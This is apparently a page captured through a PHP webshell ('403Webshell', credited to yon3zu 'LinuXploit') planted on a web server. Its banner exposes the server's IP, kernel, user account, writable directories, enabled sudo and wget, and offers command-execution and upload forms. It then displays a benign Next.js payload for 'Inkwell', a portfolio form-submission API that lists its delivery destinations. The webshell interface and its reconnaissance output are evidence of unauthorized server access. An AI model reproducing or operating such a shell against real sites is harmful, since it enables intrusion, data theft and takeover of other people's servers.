403Webshell
Server IP : 35.80.110.71  /  Your IP : 216.73.216.221
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ip-172-31-21-44 6.17.0-1019-aws #19~24.04.1-Ubuntu SMP Tue Jun 23 18:53:06 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/inkwell-web/.next/server/app/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/inkwell-web/.next/server/app/destinations.rsc
1:"$Sreact.fragment"
2:I[79404,["/_next/static/chunks/0e6vws3w6afjs.js","/_next/static/chunks/31jk64s9j6agx.js"],"default"]
3:I[88287,["/_next/static/chunks/0e6vws3w6afjs.js","/_next/static/chunks/31jk64s9j6agx.js"],"default"]
4:I[74895,["/_next/static/chunks/0e6vws3w6afjs.js","/_next/static/chunks/31jk64s9j6agx.js"],"default"]
5:I[4561,["/_next/static/chunks/0e6vws3w6afjs.js","/_next/static/chunks/31jk64s9j6agx.js"],""]
6:I[70805,["/_next/static/chunks/0e6vws3w6afjs.js","/_next/static/chunks/31jk64s9j6agx.js"],"default"]
11:I[52576,["/_next/static/chunks/0e6vws3w6afjs.js","/_next/static/chunks/31jk64s9j6agx.js"],"default",1]
:HL["/_next/static/chunks/0kg0y69b10g_a.css","style"]
0:{"P":null,"c":["","destinations"],"q":"","i":false,"f":[[["",{"children":["destinations",{"children":["__PAGE__",{}]}]},"$undefined","$undefined",16],[["$","$1","c",{"children":[[["$","link","0",{"rel":"stylesheet","href":"/_next/static/chunks/0kg0y69b10g_a.css","precedence":"next","crossOrigin":"$undefined","nonce":"$undefined"}],["$","script","script-0",{"src":"/_next/static/chunks/0e6vws3w6afjs.js","async":true,"nonce":"$undefined"}],["$","script","script-1",{"src":"/_next/static/chunks/31jk64s9j6agx.js","async":true,"nonce":"$undefined"}]],["$","html",null,{"lang":"en","children":["$","body",null,{"children":[["$","$L2",null,{}],["$","main",null,{"className":"mx-auto max-w-6xl px-6 py-10","children":["$","$L3",null,{"parallelRouterKey":"children","error":"$undefined","errorStyles":"$undefined","errorScripts":"$undefined","template":["$","$L4",null,{}],"templateStyles":"$undefined","templateScripts":"$undefined","notFound":[[["$","title",null,{"children":"404: This page could not be found."}],["$","div",null,{"style":{"fontFamily":"system-ui,\"Segoe UI\",Roboto,Helvetica,Arial,sans-serif,\"Apple Color Emoji\",\"Segoe UI Emoji\"","height":"100vh","textAlign":"center","display":"flex","flexDirection":"column","alignItems":"center","justifyContent":"center"},"children":["$","div",null,{"children":[["$","style",null,{"dangerouslySetInnerHTML":{"__html":"body{color:#000;background:#fff;margin:0}.next-error-h1{border-right:1px solid rgba(0,0,0,.3)}@media (prefers-color-scheme:dark){body{color:#fff;background:#000}.next-error-h1{border-right:1px solid rgba(255,255,255,.3)}}"}}],["$","h1",null,{"className":"next-error-h1","style":{"display":"inline-block","margin":"0 20px 0 0","padding":"0 23px 0 0","fontSize":24,"fontWeight":500,"verticalAlign":"top","lineHeight":"49px"},"children":404}],["$","div",null,{"style":{"display":"inline-block"},"children":["$","h2",null,{"style":{"fontSize":14,"fontWeight":400,"lineHeight":"49px","margin":0},"children":"This page could not be found."}]}]]}]}]],[]],"forbidden":"$undefined","unauthorized":"$undefined"}]}],["$","footer",null,{"className":"border-t border-(--color-paper-dim) mt-20","children":["$","div",null,{"className":"mx-auto flex max-w-6xl items-center justify-between px-6 py-8 text-sm text-(--color-ink-dim)","children":[["$","div",null,{"children":["Inkwell is a portfolio demonstration by"," ",["$","a",null,{"href":"https://philiprehberger.com","children":"Philip Rehberger"}],"."]}],["$","div",null,{"className":"flex gap-4","children":[["$","a",null,{"href":"https://github.com/philiprehberger/inkwell","children":"GitHub"}],["$","$L5",null,{"href":"/legal/dpa","children":"DPA"}],["$","$L5",null,{"href":"/about","children":"About"}]]}]]}]}],["$","$L6",null,{}]]}]}]]}],{"children":[["$","$1","c",{"children":[null,["$","$L3",null,{"parallelRouterKey":"children","error":"$undefined","errorStyles":"$undefined","errorScripts":"$undefined","template":["$","$L4",null,{}],"templateStyles":"$undefined","templateScripts":"$undefined","notFound":"$undefined","forbidden":"$undefined","unauthorized":"$undefined"}]]}],{"children":[["$","$1","c",{"children":[["$","div",null,{"className":"pb-20","children":[["$","h1",null,{"className":"text-3xl font-bold tracking-tight","children":"Destinations"}],["$","p",null,{"className":"mt-3 max-w-3xl text-(--color-ink-dim)","children":["Each destination implements the same ",["$","code",null,{"children":"Destination"}]," interface — config validation at save, idempotent delivery, periodic health probe. Adding the 8th destination is one class + one config-array entry."]}],["$","ul",null,{"className":"mt-10 divide-y divide-(--color-paper-dim) overflow-hidden rounded-lg border border-(--color-paper-dim) bg-white","children":[["$","li","Email",{"className":"p-5","children":[["$","div",null,{"className":"flex items-baseline justify-between gap-4","children":[["$","h3",null,{"className":"text-lg font-semibold","children":"Email"}],["$","code",null,{"className":"text-xs text-(--color-ink-dim)","children":"to (array of addresses), subject_template, body_template (optional)"}]]}],["$","p",null,{"className":"mt-2 text-sm text-(--color-ink-dim)","children":"Always sends from noreply@inkwell.philiprehberger.com. Submitter email goes in body + Reply-To only — never as From. All header values pass through CRLF strip."}]]}],["$","li","Webhook",{"className":"p-5","children":[["$","div",null,{"className":"flex items-baseline justify-between gap-4","children":[["$","h3",null,{"className":"text-lg font-semibold","children":"Webhook"}],["$","code",null,{"className":"text-xs text-(--color-ink-dim)","children":"url (https), secret (≥ 16 chars)"}]]}],"$L7"]}],"$L8","$L9","$La","$Lb","$Lc"]}],"$Ld"]}],null,"$Le"]}],{},null,false,null]},null,false,"$@f"]},null,false,null],"$L10",false]],"m":"$undefined","G":["$11",["$L12"]],"S":true,"h":null,"s":"$undefined","l":"$undefined","p":"$undefined","d":"$undefined","b":"BHZvYV9xiqkZOI0mrHgXj"}
13:I[51858,["/_next/static/chunks/0e6vws3w6afjs.js","/_next/static/chunks/31jk64s9j6agx.js"],"OutletBoundary"]
14:"$Sreact.suspense"
17:I[51858,["/_next/static/chunks/0e6vws3w6afjs.js","/_next/static/chunks/31jk64s9j6agx.js"],"ViewportBoundary"]
19:I[51858,["/_next/static/chunks/0e6vws3w6afjs.js","/_next/static/chunks/31jk64s9j6agx.js"],"MetadataBoundary"]
7:["$","p",null,{"className":"mt-2 text-sm text-(--color-ink-dim)","children":"HMAC-SHA256 in Stripe-style X-Inkwell-Signature: t=…,v1=… header. 48-hour rotation grace — old + new signatures both sent. SSRF guard refuses private / loopback / link-local IPs."}]
8:["$","li","Slack",{"className":"p-5","children":[["$","div",null,{"className":"flex items-baseline justify-between gap-4","children":[["$","h3",null,{"className":"text-lg font-semibold","children":"Slack"}],["$","code",null,{"className":"text-xs text-(--color-ink-dim)","children":"webhook_url (hooks.slack.com)"}]]}],["$","p",null,{"className":"mt-2 text-sm text-(--color-ink-dim)","children":"Block Kit message. Length-limit-aware truncation."}]]}]
9:["$","li","Discord",{"className":"p-5","children":[["$","div",null,{"className":"flex items-baseline justify-between gap-4","children":[["$","h3",null,{"className":"text-lg font-semibold","children":"Discord"}],["$","code",null,{"className":"text-xs text-(--color-ink-dim)","children":"webhook_url (discord.com/api/webhooks)"}]]}],["$","p",null,{"className":"mt-2 text-sm text-(--color-ink-dim)","children":"Embed format with field mapping. Length-limit-aware truncation."}]]}]
a:["$","li","Google Sheets",{"className":"p-5","children":[["$","div",null,{"className":"flex items-baseline justify-between gap-4","children":[["$","h3",null,{"className":"text-lg font-semibold","children":"Google Sheets"}],["$","code",null,{"className":"text-xs text-(--color-ink-dim)","children":"spreadsheet_id, sheet_name, access_token, field_mapping (optional)"}]]}],["$","p",null,{"className":"mt-2 text-sm text-(--color-ink-dim)","children":"Append-row per submission. OAuth access token managed via your Google Cloud console."}]]}]
b:["$","li","HubSpot",{"className":"p-5","children":[["$","div",null,{"className":"flex items-baseline justify-between gap-4","children":[["$","h3",null,{"className":"text-lg font-semibold","children":"HubSpot"}],["$","code",null,{"className":"text-xs text-(--color-ink-dim)","children":"access_token, property_mapping (optional)"}]]}],["$","p",null,{"className":"mt-2 text-sm text-(--color-ink-dim)","children":"Upsert contact by email; default mapping handles name → firstname/lastname split, phone, notes."}]]}]
c:["$","li","Mailchimp",{"className":"p-5","children":[["$","div",null,{"className":"flex items-baseline justify-between gap-4","children":[["$","h3",null,{"className":"text-lg font-semibold","children":"Mailchimp"}],["$","code",null,{"className":"text-xs text-(--color-ink-dim)","children":"api_key (with -dcN suffix), audience_id, tags, double_opt_in"}]]}],["$","p",null,{"className":"mt-2 text-sm text-(--color-ink-dim)","children":"Datacenter parsed from api_key suffix. Single or double opt-in; tags + merge fields supported."}]]}]
d:["$","section",null,{"className":"mt-12","children":[["$","h2",null,{"className":"text-xl font-semibold","children":"v2 destinations (planned)"}],["$","p",null,{"className":"mt-2 text-sm text-(--color-ink-dim)","children":"Each follows the same shape — implement the interface, register, write a smoke test. Gated on buyer signal."}],["$","ul",null,{"className":"mt-4 flex flex-wrap gap-2","children":[["$","li","Notion",{"className":"rounded-full border border-(--color-paper-dim) px-3 py-1 text-sm text-(--color-ink-dim)","children":"Notion"}],["$","li","Airtable",{"className":"rounded-full border border-(--color-paper-dim) px-3 py-1 text-sm text-(--color-ink-dim)","children":"Airtable"}],["$","li","Microsoft Teams",{"className":"rounded-full border border-(--color-paper-dim) px-3 py-1 text-sm text-(--color-ink-dim)","children":"Microsoft Teams"}],["$","li","Pipedrive",{"className":"rounded-full border border-(--color-paper-dim) px-3 py-1 text-sm text-(--color-ink-dim)","children":"Pipedrive"}],["$","li","Zoho CRM",{"className":"rounded-full border border-(--color-paper-dim) px-3 py-1 text-sm text-(--color-ink-dim)","children":"Zoho CRM"}]]}]]}]
e:["$","$L13",null,{"children":["$","$14",null,{"name":"Next.MetadataOutlet","children":"$@15"}]}]
16:[]
f:"$W16"
10:["$","$1","h",{"children":[null,["$","$L17",null,{"children":"$L18"}],["$","div",null,{"hidden":true,"children":["$","$L19",null,{"children":["$","$14",null,{"name":"Next.Metadata","children":"$L1a"}]}]}],null]}]
12:["$","link","0",{"rel":"stylesheet","href":"/_next/static/chunks/0kg0y69b10g_a.css","precedence":"next","crossOrigin":"$undefined","nonce":"$undefined"}]
18:[["$","meta","0",{"charSet":"utf-8"}],["$","meta","1",{"name":"viewport","content":"width=device-width, initial-scale=1"}]]
15:null
1a:[["$","title","0",{"children":"Inkwell — form submission API with explainable spam scoring"}],["$","meta","1",{"name":"description","content":"Drop one HTML form tag onto your site. Inkwell catches submissions, scores them with a visible signal breakdown, and forwards to email + webhook + Slack + Discord + Google Sheets + HubSpot + Mailchimp."}]]

Youez - 2016 - github.com/yon3zu
LinuXploit